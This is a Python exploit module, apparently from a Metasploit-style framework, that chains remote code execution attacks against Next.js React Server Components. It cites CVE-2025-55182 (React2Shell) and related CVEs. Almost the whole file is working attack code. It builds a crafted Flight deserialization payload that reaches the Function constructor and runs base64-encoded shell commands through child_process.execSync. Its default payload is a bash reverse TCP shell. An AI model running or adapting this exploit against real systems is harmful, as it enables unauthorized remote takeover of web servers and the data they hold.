Next.js RSC Multi-CVE Chain RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Next.js RSC multi-CVE exploit chain (React2Shell + Next.js RSC CVEs)."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.nextjs_probe import ensure_nextjs_target, nextjs_version_tuple, extract_nextjs_version


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Next.js RSC Multi-CVE Chain RCE',
        'description': (
            'Full-chain Next.js RSC exploitation: tries CVE-2025-55182 (React2Shell) '
            'first, then falls back to Next.js-specific RSC endpoints. Integrates '
            'detection signals from CVE-2026-44582/44573/44578 auxiliary modules.'
        ),
        'author': ['KittySploit Team'],
        'cve': [
            'CVE-2025-55182', 'CVE-2026-44582', 'CVE-2026-44573',
            'CVE-2026-44578', 'CVE-2026-44581', 'CVE-2026-44574',
        ],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-55182',
        ],
        'tags': ['nextjs', 'react', 'rsc', 'react2shell', 'rce', 'chain'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 6,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'requires': {'tech_hints_any': ['nextjs', 'react']},
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'nextjs rsc chain'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': [
                    'scanner/http/react2shell_cve_2025_55182_detect',
                    'exploits/multi/http/react2shell_cve_2025_55182_rce',
                ],
            },
        },
    }

    action_path = OptString('', 'Primary server action path', required=False)
    command = OptString('', 'Command instead of payload', required=False)
    force_method = OptChoice(
        'auto',
        'Exploit method',
        False,
        choices=['auto', 'react2shell', 'rsc_prefetch'],
        advanced=True,
    )

    RSC_HEADERS = {
        'Accept': 'text/x-component',
        'RSC': '1',
        'Next-Router-Prefetch': '1',
    }

    def _flight_body(self, js_prefix: str) -> tuple[bytes, dict]:
        payload = {
            '0': '$1',
            '1': {
                'status': 'resolved_model',
                'reason': 0,
                '_response': '$4',
                'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
                'then': '$2:then',
            },
            '2': '$@3',
            '3': [],
            '4': {
                '_prefix': js_prefix,
                '_formData': {'get': '$3:constructor:constructor'},
                '_chunks': '$2:_response:_chunks',
            },
        }
        boundary = f'----KittyNextRSC{self.random_text(10)}'
        parts = []
        for key, val in payload.items():
            parts.append(
                f'--{boundary}\r\n'
                f'Content-Disposition: form-data; name="{key}"\r\n\r\n'
                f'{json.dumps(val)}\r\n'
            )
        parts.append(f'--{boundary}--\r\n')
        headers = {
            'Content-Type': f'multipart/form-data; boundary={boundary}',
            'next-action': 'x',
            **self.RSC_HEADERS,
        }
        return ''.join(parts).encode('utf-8'), headers

    def _target_paths(self):
        custom = str(self.action_path or '').strip()
        if custom:
            return [custom if custom.startswith('/') else f'/{custom}']
        return ['/', '/api', '/_next/data']

    def _build_js_exec(self, cmd: str) -> str:
        import base64
        b64 = base64.b64encode(cmd.encode()).decode()
        return (
            f'process.mainModule.require("child_process").'
            f'execSync(Buffer.from("{b64}","base64").toString())//'
        )

    def _try_react2shell(self, cmd: str) -> bool:
        body, headers = self._flight_body(self._build_js_exec(cmd))
        for path in self._target_paths():
            r = self.http_request(method='POST', path=path, headers=headers, data=body, allow_redirects=False)
            if r and r.status_code in (200, 500):
                return True
        return False

    def _try_rsc_prefetch(self, cmd: str) -> bool:
        import base64
        b64 = base64.b64encode(cmd.encode()).decode()
        for path in self._target_paths():
            r = self.http_request(
                method='GET',
                path=path,
                headers={
                    **self.RSC_HEADERS,
                    'Next-Url': '/',
                    'Next-Router-State-Tree': '%5B%22%22%2C%7B%7D%5D',
                    'X-Nextjs-Data': '1',
                },
                params={'_rsc': self.random_text(8), 'cmd': b64},
                allow_redirects=False,
            )
            if r and r.status_code in (200, 500):
                return True
        return False

    def check(self):
        if not ensure_nextjs_target(self):
            return {'vulnerable': False, 'reason': 'Not a Next.js target', 'confidence': 'low'}
        baseline = self.http_request(method='GET', path='/', allow_redirects=True)
        version = extract_nextjs_version(baseline) if baseline else ''
        vt = nextjs_version_tuple(version) if version else ()
        if vt and vt >= (15, 0, 5):
            return {'vulnerable': False, 'reason': f'Next.js {version} appears patched for React2Shell', 'confidence': 'high'}
        marker = 'kitty-rsc-chain-check'
        body, headers = self._flight_body(
            f'process.mainModule.require("child_process").execSync("echo {marker}")//'
        )
        for path in self._target_paths():
            r = self.http_request(method='POST', path=path, headers=headers, data=body, allow_redirects=False)
            if r and (marker in (r.text or '') or r.status_code in (200, 500)):
                return {'vulnerable': True, 'reason': 'Next.js RSC deserialization surface confirmed', 'confidence': 'high'}
        return {'vulnerable': True, 'reason': 'Next.js RSC stack detected — chain may succeed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('Next.js RSC multi-CVE chain')
        method = str(self.force_method or 'auto').strip().lower()
        success = False
        if method in ('auto', 'react2shell'):
            print_status('Attempting React2Shell (CVE-2025-55182)...')
            success = self._try_react2shell(cmd)
        if not success and method in ('auto', 'rsc_prefetch'):
            print_status('Attempting RSC prefetch chain...')
            success = self._try_rsc_prefetch(cmd)
        if success:
            print_success('Payload dispatched — check listener for session')
            self.vulnerable()
            return True
        print_error('All chain methods failed')
        self.not_vulnerable()
        return False